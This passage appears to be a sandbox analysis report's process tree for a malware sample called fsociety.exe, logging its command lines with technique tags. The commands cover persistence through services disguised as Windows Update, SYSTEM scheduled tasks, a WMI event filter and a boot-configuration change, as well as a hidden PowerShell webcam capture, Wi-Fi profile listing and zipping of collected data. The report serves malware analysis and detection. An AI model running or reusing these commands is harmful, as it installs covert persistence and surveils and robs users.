    sc stop SystemUpdate
    3⤵
    PID:3880
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:5420
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:5044
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:2636
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:4176
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:6080
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:4832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:4748
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:5732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:6316
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:6644
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:6800
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:6252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:1732
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:6488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:7060
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:7160
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:6324
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:4896
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:6508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:7100
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:6680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5764
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:5308
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:6240
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5236
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:6960
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:7232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:7588
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:8188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:7472
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:8072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:7788
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:7412
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:4348
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7936
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:6292
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7448
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7892
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:6676
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:7296
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:5572
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:8128
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:8508
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:8728
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:9128
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:8212
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5444
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:7424
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:8956
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:8256
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:8316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775234.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775234.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:8020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775234.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775234.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  PID:8324
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    PID:8708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240775046\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:6424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240775046\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    PID:9036

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
PID:3704
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:756
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:800
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  PID:5932
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:4296
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:4808
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:5956
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  PID:1292
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:3992
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  PID:4396
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:2976
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:2816
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5684
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  PID:4008
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:2284
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:5684
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:5600
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:1436
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:2284
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:4796
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:2840
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:4228
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:4132
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:3792
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:5660
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5512
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:5868
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:2092
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:6276
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:6540
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:6712
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:6936
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:4272
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:2732
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:6492
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:4612
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:3160
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:4948
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:1532
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:5940
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:6204
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:616
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:4832
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:2232
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:6660
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:6448
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:2680
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:6996
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7396
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:7868
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4992
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:7400
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:1340
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:7932
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:6544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:3940
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:2832
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:6200
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6844
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7684
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:7260
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7196
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6404
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:2496
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6684
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:8468
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:8776
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6696
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:9184
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:200
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:9032
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:2832
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240778203.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240778203.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:8096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240778203.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240778203.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  PID:8936
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:8228
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240778062\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:7900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240778062\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    PID:9176

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:760
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3048
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:1844
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:5020
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4916
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:1532
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5044
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:6156
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:6308
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6632
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6792
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:2204
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:1284
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:6440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:2204
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:6696
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:7144
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1412
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:1420
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:3676
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:7140
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:2516
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:6492
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:6848
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6592
  - - C:\Windows\System32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:7068
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1336
  - - C:\Windows\System32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:7256
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:7556
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:8040
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6360
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:5052
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:3200
  - - C:\Windows\System32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:8080
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:8104
  - - C:\Windows\System32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:5988
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:7336
  - - C:\Windows\System32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:5376
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:4344
  - - C:\Windows\System32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:6456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6320
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:7208
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:7360
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:5156
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:5284
  - - C:\Windows\System32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:8040
- - C:\Windows\system32\cmd.exe
